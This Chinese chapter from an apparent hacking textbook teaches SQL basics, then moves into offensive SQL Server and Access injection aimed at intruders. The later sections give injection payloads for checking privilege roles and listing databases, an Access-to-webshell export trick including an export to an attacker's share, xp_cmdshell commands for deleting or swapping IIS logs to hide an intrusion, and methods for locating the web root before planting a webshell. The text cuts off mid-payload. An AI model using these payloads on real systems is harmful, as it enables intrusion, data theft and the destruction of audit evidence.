第五章 数据库基础
通过第二章的学习,我想大家对 SQL 注入攻击应该都非常熟悉了。在我们手工注入的时候,通常我们是要得到管理员的密码。在得到管理员的密码的过程中,我们都是用的数据库的知识,因为管理员的密码是放在数据库中,为了得到管理员的密码,我们当然要操作数据库了,这里所做的操作就是查询数据库。当然在脚本黑客技术中,数据库的作用远远不止这些,比如通常我们还可以利用数据库的差异备份、LOG 备份来获得木马等等。在脚本黑客技术中,数据库是占有非常重要的位置,不说别的,就单单是数据库里的数据一般是系统里最值钱这一点足可以证明。在本章我就给大家介绍数据库方面的知识,里面涉及的知识虽然枯燥一点,但是大部分是与黑客相关的,所以大家可不要打瞌睡哦,跟紧我的步伐大步前进吧!
数据库概述
在我们计算机世界中所有信息都是以数据的形式存储的,而这些数据的集合我们就可以简单的称为数据库了,这是我们最为通俗和简单的对数据库的理解。数据库可以是某个电子表格程序,比如我们常用的电子表格处理软件 Excel 里的一份地址清单,也可以是中国移动用来纪录每天发送短信次数的情况、精确计算出来的每次通话收费、每月话费帐单、欠费情况等信息的日志文件。
一个简单的数据库可以是一种单机操作、有关的数据只驻留在一台特定的本地计算机里供单个用户使用,这方面具有代表性的数据库有 FoxPro;而一个复杂的数据库可能有几万、甚至更多在同时使用,比如我们的中国移动,那一秒钟就不知道有多少人在同时发短信或打电话了,相关的数据散布在多台计算机和几十个硬盘上。一个数据库可以小到只有几千个字节,也可以大到要以 TB(1TB=1024G,1G=1024M,1M=1024KB)作为计量单位。
在我们日常生活中,人们经常使用“数据库”这个词来称呼各种实实在在的数据、最终的数据库文件、各种数据库系统(如 MySQL、SQL Server)或某种数据库客户软件,其实这些都对数据库产生了一定的误会,下面我就给出数据库系统和数据库的定义,让大家更清楚的理解数据库系统和数据库。
数据库系统主要经历了第一代网状和层次数据库系统和第二代关系型数据库系统的发展。关系型数据库依靠着结构化查询语言 SQL 的提出而得到广泛的应用,目前市场的主流数据库产品包括 Oracle、MySQL、SQL S erver、SyBase 等,都是属于关系型数据库系统。
目前数据库正向着面向对象数据库系统方面发展。
数据库(DataBase)就是一个由一批数据构成的有序集合,这个集合通常被保存为一个或多个彼此之间相关的文件。这些数据被分门别类地存放在一些结构化的数据表(table)里。而数据表之间又往往会形成种种内在的交叉引用关系。存在于数据表之间的这种关系(relation)使数据库又被称为关系(型)数据库。
也许上面的定义很多朋友不能够理解,特别是以前没有接触过数据库的朋友,为了把事情说的更加明白和透彻,下面我给大家举个例子。假设某个公司有一个由 3 个数据表构成
的数据库。第 1 个数据表保存着该公司的顾客名单数据(如姓名、地址等信息),第 2 个数据
表保存着该公司的产品数据,第 3 个数据表保存着该公司的订单数据。在这 3 张数据表之间建立起必要的关系之后,这家公司的员工就可以使用订单数据去访问另外两个数据表里的数据了(如通过顾客编号和产品代码等)。
上面我们已经提及到了在计算机世界里是以数据形式存储信息的,针对信息世界,数据库系统的表达所使用的概念有:“字段”,用来表达实体的属性;“纪录”,是字段的有序集合,用来表达实体;上面这些大家可能现在还不能够理解,不过不用急,在后面我就会大家详细的介绍,这里就给大家一个新的认识而已。
数据库管理系统(DBMS)就是指创建、管理和使用数据库的软件系统。DBMS 是数据库的核心,它是位于操作系统和用户软件之间的数据库管理软件,其英文名为:DataBase Manguae System。
关系数据库
5.2.1 关系模型概述
关系数据库是目前最为流行的数据库,基本上统治了整个数据库世界。比如 SQL
Server、MySQL、Oracle 等等。关系数据库的基础是数据模型,关系模型主要包括数据结构、数据操作和一组完整性规则。
关系模型的结构非常简单,在关系模型中,现实世界中的实体与实体之间的联系基本都是关系来表达。从我们用户的角度来讲就是,关系模型中的数据的逻辑结构就是由行和列组成的二维表格。
关系模型就是一张二维表格,它使用表格来描述实体之间的关系,在表格中,每一列称为属性,有时也称为字段或者域,每一行数据称为一条纪录。关系模型既能反映属性之间的一对一的关系,有能够反映属性之间的一对多关系,还能够反映属性之间的多对多的关系。关系模型具有一些优点,例如:数据结构简单、概念清楚、符合我们的习惯;能够直接反映出实体之间的一对一、一对多、多对多的三种关系;全部是表格框架,通过公共属性可以建立数据表与数据表之间的联系,即实体与实体之间的联系;典型的关系模型如表 5-1 所示。
表 5-1 课程关系
以表 5-1 来说明,一个“课程”关系可以看成是若干门课程的集合。集合中的元素称为元组,在课程关系中一个元组就是表格中的一行。一个元组又由若干个属性组成。给属性起的名称就是属性名,如课程关系中的“课程号”、“课程名”等。我们常常为了能够唯一标识关系中的某个元组,规定表中的某个属性或属性组的取值唯一,称为主键。例如我们在学校的时候,学校为我们每一个人分配了一个学号,那么这个学号在学校就是唯一的,那学校在统计比如成绩的时候就可以用它做为主键。也许有人会说用名字也可以啊,当然这句话如果是在信息量比较小的情况下,可能可以,但是一般情况下,如果用姓名来做主键的话,如果出现了两个或更多的相同名字的时候,那么我们在查询数据库的时候就会出现不准确的结果。所以主键是唯一能够标识关系中的某个元组。
关系模型中常用的关系操作包括:查询、插入、删除、修改等操作。其中查询包括:选择(Select)、连接(Join)、除(Divide)、并(Union)、交(Intersection)、差(Difference)。关系操作是一种集合操作,其中“查询”操作是关系操作的基础,
关系数据库语言SQL概述
SQL 是英文 Structured Query Language 的简称,中文名是结构化查询语言,是进行数据库操作的标准语言。SQL 语言的主要功能就是同各种数据库建立联系,进行沟通。按照 ANSI
(美国国家标准协会)的规定,SQL 被作为关系型数据库管理系统的标准语言。SQL 语句可以用来执行各种各样的操作,例如更新数据库中的数据,从数据库中提取数据等。目前,绝大多数流行的关系型数据库管理系统,如 Oracle, Sybase, Microsoft SQL Server, Access等都采用了 SQL 语言标准。虽然很多数据库都对 SQL 语句进行了再开发和扩展,但是包括 Select, Insert, Update, Delete, Create, 以及 Drop 在内的标准的 SQL 命令仍然可以被用来完成几乎所有的数据库操作。
一个 SQL 数据库是一组表的汇集。每一个表都是由行和列组成的二维表格,通过数据定义语言来定义。在 SQL 数据库中的表分为视图和基表,其中基表是实际存在的表,而视图是由基表或其他视图中的纪录临时组成的虚表。
SQL 的功能非常的强大,它可以实现以下功能:
(1)、建立数据库的表格
(2)、改变数据库系统环境设置
(3)、针对某个数据库或表格,授予用户存取权限
(4)、对数据库表格建立索引值
(5)、修改数据库表格结构(新建、删除或是修改表格字段)
(6)、对数据库进行数据的新建
(7)、对数据库进行数据的删除
(8)、对数据库进行数据的修改
(9)、对数据库进行数据的查询
SQL 语言共分为四大类:数据查询语言 DQL(以著名的 SELECT 语句为代表);数据操纵语言 DML(INSERT、DELECT、UPDATE 等语句);数据定义语言 DDL(用来创建数据库对象——
—表、视图、同义词、索引等);数据控制语言 DCL(用来授予或回收访问数据库的某种特权,并控制数据库操纵事务发生的时间及效果,对数据库实行监控等)。
利用SQL进行数据查询
创建数据表
要对数据进行进行查询,事先肯定要先建立数据表了,不然怎么查询。要在数据库中创建新表使用 CREATE TABLE 即可。其语法为:
CREATE TABLE tablename (field type [(size)] [NOT NULL]{, field type [(size)] [NOT NULL]...}[,PRIMARY KEY(field{,field...})]);
说明:table 参数用于指定新建表的名称。
field1 用于指定在新表中创建的新字段的名称,每创建一个新表必须至少建立一个字段。
type 参数用来指定新建字段的数据类型。
size 参数用于指定文本及二进制字段的长度。
NOT NULL 是SQL 的关键字,使用该参数则新记录的该字段值必须是有效的数据。 PRIMARY KEY 是规定哪个字段为主键。
例如,我们创建一个“HACK”的表,该表中有三个字段。
CREATE TABLE HACK(id char(4),name varchar(50),city varchar(50),age char(150), PRIMARY KEY (id));
在这个表中,有 ID、name、city、age 三个字段,其中 ID 为主键。在 SQL 中数据类型由 13种基本类型组成,在这里我就不详细列举了,在光盘自带的电子书《sql 中文参考手册》中有非常详细的说明。
上面我们演示了 CREATE 的基本语法格式,在该语句中含有很多中括号([])、大括号({})等一些符号,这些都是 SQL 语句的语法规则,下面我就给大家详细讲解一下。
(1)、大写字母,在 SQL 语句中大小写是不区分的,我们在语法中把关键字规定为大写只是为了便于阅读。
(2)、小写字母为用户可指定的内容,例如 CREATE 的语法中的 tablename,创建表时可以由我们自己定义的表名(例如 HACK)所代替。
(3)、在语法描述中有一些特殊字符不能出现在用户书写的语句中。例如:{}、[]、|。 (4)、[]中的内容为可选的。例如语法中的[NOT NULL]中的 NOT NULL 可省略。 (5)、{}表示若干个结构相似的内容的组合。例如,{, field type [(size)] [NOT NULL]...}表示可定义多个列,列的定义之间用“,”分割。
(6)、|表示在多个可选择的内容中选择其中一个。例如,如下语句:SELECT [ALL|DISTINCT]
select_list 中的 select_list 可用 ALL 或DISTINCT 限定。
SQL数据查询
在 SQL 语言中,要实现对数据表中的数据进行查询功能,就要用到大名鼎鼎的 SELECT语句了。这是一个功能强大使用灵活的语句,它的语法格式为:
SELECT[ALL|DISTINCT] {expr[[AS]c_alias{,expr[[AS]c_alias]...} } FROM tableref{,tableref...}
[WHERE<search_condition>]
expr 为要查询的列名,多个列名之间使用“,”分隔。
tableref 为查询的表。
search_condition 为查询的条件。
C_alias 为别名
1、简单查询
示例 5-1 要求我们要查询表 HACK 中所有黑客的信息。
SELECT * FROM HACK
上述的查询语句省略了 WHERE 子句,因此它就实现了对 HACK 表中所有信息的查询。示例 5-2 要求在 HACK 表中查询城市为“长沙”的黑客的 id 和 name。
SELECT id,name FROM HACK
WHERE city= "长沙"
2、去掉查询结果中的重复纪录
在我们的查询过程中,往往会常常出现重复的纪录,有的时候我们需要重复的纪录,而有的时候并不需要。SELECT 语句已经为我们提供了这个功能,如果要去掉查询结果中出现的相同元组纪录,可以使用 DISTINCT 关键字,例如 SELECT DISTINCT id
FROM HACK
如果要保留查询结果中存在的相同元组,那么就需要使用 ALL 关键字,例如 SELECT ALL id FROM HACK
3、目标列中使用“*”符号
示例 5-3 演示了“*”的作用,查询语句为 SELECT * FROM HACK。它的作用是查询
HACK 表中所有的信息。“*”在 SQL 语句中代表所查询表中所有的列。所以上面的语句等于 SELECT id,name,city,age FROM HACK。
4、在 WHERE 子句中使用逻辑运算符
示例 5-4 演示了 WHERE 子句中使用逻辑运算符,我们要在 HACK 表中查询 id<120 且
age>25 的黑客信息。
SELECT * FROM HACK WHERE id<120 AND age>25
在 WHERE 子句中使用逻辑运算符主要包括 AND,OR,NOT。说到这三个运算符号,这里就提一下他们的运算规则,AND 的运算规则如表 5-2 所示;OR 的运算规则如表 5-3 所示;NOT 的运算规则如表 5-4 所示。
AND 运算符是对两个表达式进行逻辑“与”运算,reslut=expression1 AND expression2。其中 reslut 为结果,expression1 和expression2 为任意表达式。
expression1 的结果 | expression2 的结果 | AND 运算之后的结果 |
真 | 真 | 真 |
真 | 假 | 假 |
假 | 真 | 假 |
假 | 假 | 假 |
表 5-2 AND 的运算规则
OR 运算符是对两个表达式进行逻辑“或”运算,reslut=expression1 OR expression2。其
中 reslut 为结果,expression1 和 expression2 为任意表达式。
expression1 的结果 | expression2 的结果 | OR 运算之后的结果 |
真 | 真 | 真 |
真 | 假 | 真 |
假 | 真 | 真 |
假 | 假 | 假 |
表 5-3 O R 的运算规则 |
NOT 运算符是对表达式执行逻辑非运算,reslut=NOT expression。其中 reslut 为结果,
expression 为任意表达式。
expression 的 结 果 NOT 运 算 之 后 的 结 果 真 假
真 假
表 5-4 NOT 的运算规则
在 WHERE 子句中,使用的操作符主要有:<(小于)、<=(小于或等于)、>(大于)、>=
(大于或等于)、=(等于)、<>(不等于)、Between(在某个取值范围内)、Like(匹配某个模式)、
In(包含在某个值的列表中)。下面我们就来详细讲一下 Between 和 Like 操作符,特别是在
Like 操作符,它在我们搜索注入方面可是最重要的理论知识。
Between 操作符返回的是位于我们所说明的界限之内的所有纪录值。比如我们要查询
HACK 表中 id 字段 1 到 100 之间的全部纪录。
SELECT * FROM HACK WHERE id Between 1 AND 100
Like 操作符所起的作用就是模糊查询,它在我们的搜索方面运用的最多。目前很多系统并没有对搜索的地方进行过滤,所以我们可以利用它来进行注入。要使用 Like 进行模糊查询必须还要配合通配符的才能够完成。比如我们要查询HACK 表中city 字段值中还有“京”字的所有黑客的信息。
SELECT * FROM HACK WHERE city LIKE '%京%'
查询的结果就是 city 字段值中含有“京”的黑客的信息,比如可以查到北京的、南京的等等。不过需要注意的是在 Like 后的查询条件中要用单引号或双引号括起来。
Like 操作符共有以下 4 种通配符,他们的含义如下:
%:代表零个或者多个任意字符
_:代表一个任意字符 []:指定范围内的任意单个字符 [^]:不在指定范围内的任意单个字符
上面说的比较理论话,大家可能都还没完全理解透,下面我给大家举一些例子。Li ke "BR%"
返回以 BR 开始的任意字符串
Like "%een" 返回以een 结束的任意字符串
Like "%en%" 返回包含 en 的任意字符串
Like"_en" 返回以en 结束的 3 个字符串
Like"[CK]%" 返回以C 或者 K 开始的任意字符串
Like"[S-V]ing" 返回长为 4 个字符的字符串,结尾是"ing",开始是从 S 到 V
Like"M[^c]%" 返回以"M"开始且第二个字符不是"c"的任意字符串
5、在目标列中使用别名
在上面的 HACK 表中,我们所有的字段都是使用的英文,有的时候如果我们看英文有点习惯,那么就可以使用 SQL 中的一种别名的方法来给字段重新命名。使用 AS 关键字就可完成。例如把 HACK 表中的字段全部换成中文的。
SELECT id AS 标识, name AS 姓名, city AS 城市, age AS 年龄 FROM HACK
6、对查询结果进行排序
我们可以使用 ORDER BY 子句对查询结果按照一个或多个属性类进行排序。ORDER
BY 的 语 法 是 这 样 的 : ORDER BY order_by_expression[ASC|DESC]{, order_by_expression[ASC|DESC]}
其中,order_by_expression 是要指定排序的列,可以将排序的列指定为列名、列的别名或表达式。ASC 表示按照上升的循序排列,DESC 表示按照降低的循序排列,默认的情况下是按照上升的循序排列。还是用 HACK 表来做例子。
比如要查询 city 字段中含有“京”字的所有黑客信息,并按照 id 字段的降低循序排列。
SELECT * FROM HACK WHERE city LIKE '%京%' ORDER BY id DESC
我们还可以这样查询 city 字段中含有“京”字的所有黑客信息,并按照 age 字段的降低循序排列,当 age 字段值相同时,按照 id 字段的上升排列。
SELECT * FROM HACK WHERE city LIKE '%京%' ORDER BY age DESC, id ASC。
7、在 SELECT 中使用集合函数
为了进一步增强查询功能,SQL 还提供了许多集合函数,主要有如下几种。 COUNT([DISTINCT|ALL] * ) 统计元组的个数。DISTINCT 关键字指明重复元组只统计一次,ALL 指明重复元组需要重复统计。
COUNT([DISTINCT|ALL] column_name ) 统计 column_name 列非空的元组的数目。 SUM([DISTINCT|ALL] column_name )计算 column_name 列的值的总和,此列必须是数值型。 AVG([DISTINCT|ALL] column_name )计算 column_name 列的值的平均值,此列必须是数值型。
MAX([DISTINCT|ALL] column_name )返回 column_name 列中的最大值。 MIN([DISTINCT|ALL] column_name )返回 column_name 列中的最小值。比如我们要查询 HACK 表中年龄最大的、最小的和平均的年龄。
年龄最大的:SELECT MAX(age) FROM HACK年龄最小的:SELECT MIN(age) FROM HACK平均的年龄:SELECT AVG(age) FROM HACK
8、对查询结果进行分组
在查询语句中,我们还可以使用 GROUP BY 子句对查询结果按某一列或多列值进行分组。语法为:GROUP BY [ALL] group_by_expression[,…..n]
例如,要查询 HACK 表中年龄相同的黑客的信息。
SELECT * FROM HACK GROUP BY age
如果分组后还要按照某种条件对这些组来进行筛选,输出满足指定条件的元组的话,那么我们还可以使用 HAVING 子句指定筛选条件。HAVING 子句的语法如下: HAVING
search_condition。其中 search_condition 为指定要筛选的条件。使用 HAVING 子句需要注意三个方面:
①、HAVING 子句只能在 GROUP BY 子句后出现,不能够单独使用。
②、HAVING 子句只能对分组计算的结果进行筛选。
③、HAVING 子句不能够使用别名。
9、合并查询(Union Query)
合并查询(Union Q uery)是用于合并具有相同字段结构的两个表的内容,如果要在一个结果中集中显示不同表的内容,那么使用这个会非常有用。例如:
SELECT * FROM HACK UNION
SELECT * FROM HACK1
这个查询结果把 HACK 和 HACK1 中的纪录合并到一个结果中,它的输出和远来表中的内容是一样的。在默认的情况下,合并查询不会返回重复纪录,不过我们可以在 UNION后面加上关键字 ALL 而让合并查询显示重复纪录。
Union 运算符允许把两个或者多个表的查询结果合并一个查询结果中。需要特别注意的是 Union 查询的表的字段必须是一样的,而且数据类型必须能够兼容。是否不能够 Union查询。所以 Union 查询后的结果是增加了行书,而列数依然不边。这个 Union 查询在我们的注入攻击的过程中非常重要,在后面的章节还会非常详细的讲解。
10、连接查询
在我们实际的查询过程中,往往还需要同时从两个表或两个以上的表中查询数据。连接查询就允许同时从两个表或者两个以上表中查询数据,指定这些表中的某个或者某些列作为连接查询的条件。SQL 中的连接查询包括等值连接、非等值连接、自然连接等。连接查询的语法如下:
SELECT [ALL|DISTINCT] {expr[[AS]c_alias[[AS]c_alias]…. }] FROM tableref,tableref
WHERE <join_condition>
“join_condition”为连接条件,它的一般格式如下:
[<表名 1>.]<列名 1> <比较运算符> [<表名 2>.]<列名 2>
其中比较运算符主要有:=,>,<,>=,<=,!=或<>。
等值连接就是比较运算符为“=”的连接称为等值连接,而其他的就为非等值连接了。连接操作不仅可以在不同的表之间进行,也可以是一个表与它自身的连接。连接操作不仅可以在两个表中查询,而且可以是在两个或两个以上的连接,我们称为多表连接。
11、子查询
SELECT 查询语句还可以支持嵌套查询,所谓嵌套就是指语句里里面还可以含有相类似的语句。这样说还是有点笼统,例如 SELECT 嵌套,就是指在 SELECT 查询语句中还可以含有 SELECT 语句。如果在一个 SELECT 语句中还嵌套了另外一个 SELECT 语句,那么被嵌套的 SELECT 语句我们就称为子查询。子查询需要注意的有三个地方:一、子查询可以嵌套;二、在子查询中不能使用 ORDER BY 子句,这个子句只对最后结果排序;三、子查询要用括号括起来。
例如要求我们查询 HACK 表中与 id 号为 100 的黑客在同一个城市的所有黑客的信息,代码如下:
SELECT * FROM HACK
WHERE city=(SELECT city FROM HACK WHERE id=100)
当子查询返回的结果是一个集合时,我们可以使用 IN、ANY/ALL 或 EXISTS 这些叫做谓词的关键字进行判断。他们的含义分别如下:
[NOT]IN:元素与某一个集合进行比较,当这一个元素包含在这个集合中,那么结果为真,否则结果为假。NOT IN 的含义与 IN 相反。
ANY:含义为任何一个。例如“>ANY(子查询)”表示大于子查询结果中的某个值。
ALL:含义为所有。例如“>ALL(子查询)”表示大于子查询结果中的所有值。 [NOT]EXISTS:代表存在量词。例如“EXISTS(子查询)”当子查询没有返回纪录时结果为假,否则结果为真, NOT EXISTS 的含义与 EXISTS 相反。
在我们的脚本攻击中,与黑客紧密相连就要属 EXISTS,下面我就详细的讲一下使用
EXISTS 谓词的子查询。例如,有两个表,一个为 HACK,一个为 CRACK。CRACK 表中的字段和 HACK 中的字段是一样的。例如,要查询涉及 HACK 和 CRACK 表,可以在 HACK
表中依次取一个元组 id,然后去查询 CRACK 表。如果 CRACK 表中存在这样的元组,它的
id 的值等于在 HACK 表中的值,那么在 HACK 表中的当前纪录返回,代码如下:
SELECT * FROM HACK WHERE EXISTS
(SELECT * FROM CRACK WHERE id=HACK.id)
使用 EXISTS 谓词,如果括号内的查询结果返回为空,那么 EXISTS 的结果为假,否则就为真。
上面就是 SQL 的查询语句的各种基本知识了,在上面我没有过多的加入黑客技术,但是这些都是脚本黑客必须掌握的基础知识,特别是在手工入侵方面。因为我们还没有学习服务端脚本语言,如 ASP、JSP、PHP 等,所以这里还不太好讲,总之呢,这里大家包括后面要详细的看和听。虽然有点枯燥,但打好了基础对后面的学习有事半功倍的效果。
5.5 利用SQL进行数据更新
在 SQL 中用于数据更新的语句有 INSERT、UPDATE 和 DELETE,这三条语句用来对已经存在的数据库中的内容进行修改。INSERT 用于向表中插入新的纪录,UPDATE 用于修改表中某一纪录的值,DELETE 用于删除中的纪录但不删除表的结构。
5.5.1 INSERT语句
INSERT 语句用于向表中添加新的纪录,INSERT 的语法如下:
INSERT INTO tablename [(colname{,colname…})]
{V ALUES (expr|NULL{,expr|NULL….})|Subquery}
当我们向指定的表中插入新的纪录时,必须使用下面的两种方式的一种。
(1)、使用 VALUES 结构,这种情况下,一次只能够向表中插入一条纪录。
(2)、使用子查询(Subquery)结构,这种方式可向表中插入多条纪录。即可在基于其他的表中的查询结构插入到当前的表中。
示例 5-5 演示了向 HACK 表中插入一条新的纪录,且设置 city 为 NULL。可以有两种方式实现。
第一种:INSERT INTO HACK(id,name,age)
VALUES(101,曾云好,20)
这种情况下,插入的纪录中的 city 当前值还不知道,所以在 VALUES 列表中没有给出这个字段的值而取他们的值默认值(NULL)。
第二种:INSERT INTO HACK(id,name,age,city)
VALUES(101,曾云好,20,NULL)
这种情况下,明确地赋予 city 字段值为 NULL。
示例 5-6 演示了将 HACK 表中 city 值为“长沙”的客户插入到 CRACK 这个表中。这个时候我们就要用到子查询(Subquery)结构了,其代码为:
INSERT INTO CRACK
SELECT * FROM HACK WHERE city="长沙"
不过基于子查询(Subquery)结构中需要注意的是,一、基于其他表查询的 INSERT INT O
语句不需要在目标表中指出列名;二、INSERT INT O 目标表中的列名数目和顺序必须和
SELECT 目标列中的数目和顺序一致。
UPDATE语句
UPDATE 语句用来修改表中纪录的属性值,它的基本语法格式如下。
UPDATE tablename
SET colname= {expr|NULL|(subquery)}
{, colname= {expr|NULL|(subquery)…..}} [WH ERE search_condition]
UPDATE 语句使用指定的表达式的值来代替所满足 WHERE 条件的纪录中指定列的值。
UPDATE 语句同样也支持子查询(Subquery)结构。
示例 5-7 演示了把 HACK 表中 city 值为“长沙”的黑客的年龄全部提高 10 岁,实现语句如下:
UPDATE HACK
SET age=10+age WHERE city="长沙"
DELETE语句
DELETE 语句用于从表中删除满足条件的纪录,DELETE 语句的基本语法格式如下:
DELETE FROM tablename [WHERE search_condition]
示例 5-8 演示了删除 city 为“长沙”的所有黑客的信息。
DELETE FROM HACK
WHERE city="长沙"
示例 5-9 演示了删除 HACK 表中的所有信息。
DELETE FROM HACK
不过需要注意的是 DELETE 只删除 HACK 表中的所有纪录,并不删除表的结构,也就是说表还是存在,只是里面的数据没了而已。
到这里我们的 SQL 基本知识也就讲完了,对于脚本黑客,有以上的 SQL 知识就够了,接下来就是要学习各种数据库的知识了,因为不同的数据库都对 SQL 进行了扩展,他们有自己的特性和另外功能。当然 SQL 的知识我们也只学了一部分,对于脚本黑客来说已经够了,但是对于要深入了解 SQL 语言的朋友来说,这是远远不够的,比如我们没有对视图、数据定义和控制方面过多的说明,这些对于系统学习数据库来说是非常重要的,为了满足大家对数据库系统性的学习,光盘中已经给大家收集了这方面的资料,大家可以去光盘中下载下来阅读。
SQL Server
在第一章中,我已经给大家介绍了 SQL Server 数据库的安装了,相信大家还记得吧。 SQL Server 是微软开发的一个功能非常强大的数据库系统。前面我们还提到了 ACCESS 数据库,但是在注入方面他们相差的比较大,ACCESS 数据库的功能比较简单,一般来说对于基于 ACCESS 数据库的注入它只能够猜解得到后台数据库的密码,当然现在已经有了一种可以利用 ACCESS 数据库导出 Webshell 的方法,在后面我会给大家介绍,不过利用价值不大。相对于 SQL Server 数据库来说,如果有足够的权限,那我们可以做非常多的事情,接下来我就给大家详细的讲解。
SQL注入Access导出WebShell
在前面,我已经告诉大家目前有一种在 ACCESS 数据库下导出 Webshell 的方法,这个方法是由 lake2 兄弟提出来的,下面就是我引用他这篇文章的原文:
已经听N 个人过说有人已经发现 SQL 注入Access 得到webshell 的技术了,也只是听说而已,具体的细节还是不得而知。
最近在看的书中一章提到 Jet 的安全,然后灵光一闪,呵呵,发现了一种可以利用 access 导出 asp 的方法,分享之。
几个月之前网上就流传利用 SQL 注入 Access 导出数据库内容到文本文件(可导出 txt、htm、
html 等格式)的方法:
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
执行上述语句,在 d:\web 目录下就会生成 test.txt 文件,其内容就是表 admin 的内容。但是导出 asp 格式就不行,会说“不能更新,数据库或对象为只读”。
其 实 控 制 导 出 文 件 后 缀 是 存 储 在 注 册 表 的 , 具 体 键 值 是 HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension ,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把 asp 也添加进去的话,呵呵,就可以导出 asp 格式的文件了。
这个方法跟那个调用 Access 的 Shell 函数执行命令一样,要修改注册表,所以利用不是很大。顺便提一下,前面提到的导出文本文件的方法如果不知道 web 路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin
上面的方法虽然比较好,但是要操作注册表,似乎在我们入侵的过程中该方法并没有太大的利用价值,不过对于我们研究技术的来说,这也是一个很好的突破哦,搞技术就是要创新嘛。
SQL Server下的高级黑客技术
在第二章中为大家介绍了一些 SQL Server 下的黑客技术,而本节继续为大家介绍更为高级的技术。因为前面已经有了 SQL 的基础知识做铺垫了,所以接下来的知识将会更好理解。
我们利用 and u ser>0 可以得到当前数据库的用户名。我们知道在 SQL Server 中数据库的表名是有权限之分的。那么怎么判断当前数据库用户名的权限呢?下面就来介绍。
判断当前数据库用户名是否拥有比较高的权限为: id= xxand 1= (SELECT I S_SRVROLEMEMBER('sysadmin')) id= xxand 1= (SELECT I S_SRVROLEMEMBER('serveradmin')) id= xxand 1= (SELECT I S_SRVROLEMEMBER('setupadmin')) id= xxand 1= (SELECT I S_SRVROLEMEMBER('securityadmin')) id= xxand 1= (SELECT I S_SRVROLEMEMBER('diskadmin')) id= xxand 1= (SELECT I S_SRVROLEMEMBER('bulkadmin'))
上面的权限都是属于管理员,如果当前数据库用户名的权限是属于其中的一个的话,
返回就是正确的,不是的话返回就会出错。判断当前数据库用户名是否为 DB_OWNER 的方法是:id= xxand 1= (SELECT IS_MEMBER(' db_owner'))。
在 SQL Server 的 master.dbo.sysdatabases 表中存放着 SQL Server 数据库系统中所有的数据库信息,只需要 PUBLIC 权限就可以对此表进行 select 操作。所以普通的 SQL Server账号也可以获得数据库系统中的所有数据库名。
获得第一个数据库名的方法为:id=xx a nd (sel ect to p 1 name fro m master.dbo.sysdatabases order by dbid)>0。
获得第二个数据库名的方法为:id=xx a nd (sel ect to p 1 name fro m master.dbo.sysdatabases where name NOT IN(select top 1 name fro m master.dbo.sysdatabases o rder b y dbid) o rder by dbid)>0
依次类推,直到获得所有的数据库名。
我们在入侵完成后一般要进行日志的删除工作,我们可以利用 SQL Server 来完成这个工作,比如我们要删除 2007 年 3 月 1 号的日志:
exec master.dbo.xp_cmdshell ' del C: \winnt\system32\logfiles\W3SVC5\ex070301.log >c: \temp. txt'
C:\winnt\system32\logfiles\W3SVC5\ex070301.log 就是 2007 年 3 月 1 号的日志的全路径。
虽然这样可以直接删除,但是对于有经验的管理员来说,如果他在查看的日志的时候发现 2
007 年 3 月 1 号没有日志,实际上对于一个服务器来说这是不可能一天之内没有访问的,所以基本上可以断定网站被入侵了。所以为了增加隐蔽性同时也是为了迷惑管理员,我们可以其他日期的日志代替含有我们入侵记录的日志。比如我们用 2007 年 2 月 20 号的日志代替 2
007 年 3 月 1 号的日志:
exec m aster.dbo.xp_cmdshell ' copy C:\winnt\system32\logfiles\W3SVC5\ex070220.log C:\win nt\system32\logfiles\W3SVC5\ex070301.log>c:\temp.txt'
1.Webshell
在第 2 章中,为大家介绍了两种获得 shell 的办法,不过这两种方法都要是 SA 权限才能够执行的。不过接下来我将为大家介绍只要 DB_OWNER 权限就可以获得 shell。
通过第 2 章的学习,大家都已经知道了一般的系统后台管理界面都有文件上传功能。获得管理员账号和密码后,通过直接登陆或 COOKIE 欺骗等方式登陆后台,然后上传一个网页木马从而获得 webshell。这些常见的入侵手段相信大家都已经掌握了。
(1)、获取 WEB 路径
要往网站目录下写入 Web S hell,那么首先就应该获取网站的根目录。下面介绍几种常用的方法。
第一种:利用已经获得的 shell(通过 XP_CMDSHELL 或 SP_OAMETHOD),搜索网站下面的文件。适用于当前连接数据库的账号有 SA 权限。比如我们利用 SP_OAMETHOD 在服务器的 D 盘下面搜索文件“index.asp”:
DECLARE @sh ell INT
EXEC m aster..SP_OAMETHOD 'wscript.shell',@shell ou t EXEC m aster..SP_OAMETHOD @sh ell,'run',null,
'cmd /c d ir / s d: /index.asp > c:/123.txt'
注意:上面的命令运行后马上就返回了,所以除非看到 c:/123.txt 里面含有“File No t Fou n d”或文件已找到字样,否则说明文件搜索还在继续。
我们还可以利用XP_CMDSHELL 来搜索:exec master..xp_cmdshell ' dir /s d:/index.asp'。第二种:还是利用上面的 shell,同样需要当前连接数据库的账号有 SA 权限。不过这个方法不是通过搜索文件,而是利用 IIS 提供的接口来获得网站的根目录。下列命令将显示第一个网站的一些配置信息,里面包含网站的根目录。
cmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs EN UM W3 SVC/1/root
如果这个服务器是一个虚拟主机,那么这个服务器上还有其他的网站了,比如我们要获得第二个网站的一些配置信息,则可以输入:
cmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs EN UM W3 SVC/2/root
只需要改变 root 前的数字就可以了,不同的数字代表着第几个网站的配置信息。
第三种:利用扩展存储过程 xp_regread,只要有 PUBLIC 权限就能够运行它。IIS 默认的路径存放在注册表中,通过以下的 SQL 语句就能够将它读取出来:
exec m aster.dbo.xp_regread HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\sERVICES\W3SVC\Parameters\Virtual Ro ots\' '/'
第四种:利用扩展存储过程 xp_dirtree。通过它可以列出指定目录下所有子目录和文件。这个扩展存储过程有三个参数,第一个参数是路径,第二个参数是目录深度,第三个参数表示是否列出文件。如果第三个参数为 0,那么只列出目录。最重要的一点是这个存储过程只需要 PUBLIC 权限便可以执行!
目前比较常见的方法是通过xp_dirtree把某个盘或某个目录下的子目录和文件列出来,插入到一个表中,并逐条读取表中的数据。通过切换不同的目录,达到浏览硬盘、搜索站点根目录的目的。它的利用过程类似如下,这里我用http://www.xxx.com/index.asp?id=2来作为我们所要进行渗透的网站。首先建立一个临时表,把E盘下面的 1 级子目录和文件插入到表中:
http://www.xxx.com/index.asp?id= 2;CREATE TABLE t mp([ID] int IDENTITY (1 ,1) NOT N ULL,
